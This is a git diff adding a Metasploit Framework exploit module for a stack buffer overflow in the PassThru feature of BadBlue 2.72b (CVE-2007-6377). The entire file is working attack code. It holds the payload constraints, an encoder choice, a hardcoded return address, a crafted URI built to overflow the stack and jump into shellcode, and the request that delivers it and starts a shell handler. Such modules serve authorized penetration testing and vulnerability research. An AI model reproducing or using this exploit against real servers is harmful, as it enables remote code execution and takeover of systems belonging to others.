diff --git a/modules/exploits/windows/http/badblue_passthru.rb b/modules/exploits/windows/http/badblue_passthru.rb new file mode 100644 index 0000000000..f4e9a17c2a --- /dev/null +++ b/modules/exploits/windows/http/badblue_passthru.rb @@ -0,0 +1,76 @@ +## +# $Id: badblue_passthru.rb 4741 2007-04-23 05:30:48Z mmiller $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Exploits::Windows::Http::Badblue_Passthru < Msf::Exploit::Remote + + include Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BadBlue 2.72b PassThru Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in the PassThru + functionality in ext.dll in BadBlue 2.72b and earlier. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision:$', + 'References' => + [ + ['BID', '26803'], + ['CVE', '2007-6377'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Privileged' => true, + 'Payload' => + { + 'Space' => 750, + 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", + 'StackAdjustment' => -3500, + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, + 'DisableNops' => 'True', + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 10 2007')) + + register_options( [Opt::RPORT(80),], self.class ) + + end + + def exploit + # Need to obfuscate the buffer a bit more. "\x96" is ghetto. + uri = "/ext.dll?mfcisapicommand=PassThru&" + "\x96" * (4116 - payload.encoded.length) + uri << payload.encoded + Rex::Arch::X86.jmp_short(8) + make_nops(2) + [target.ret].pack('V') + uri << make_nops(12) + [0xe8, -850].pack('CV') + + print_status("Trying target %s..." % target.name) + + send_request_raw({'uri' => uri,}, 5) + + handler + disconnect + end + +end +end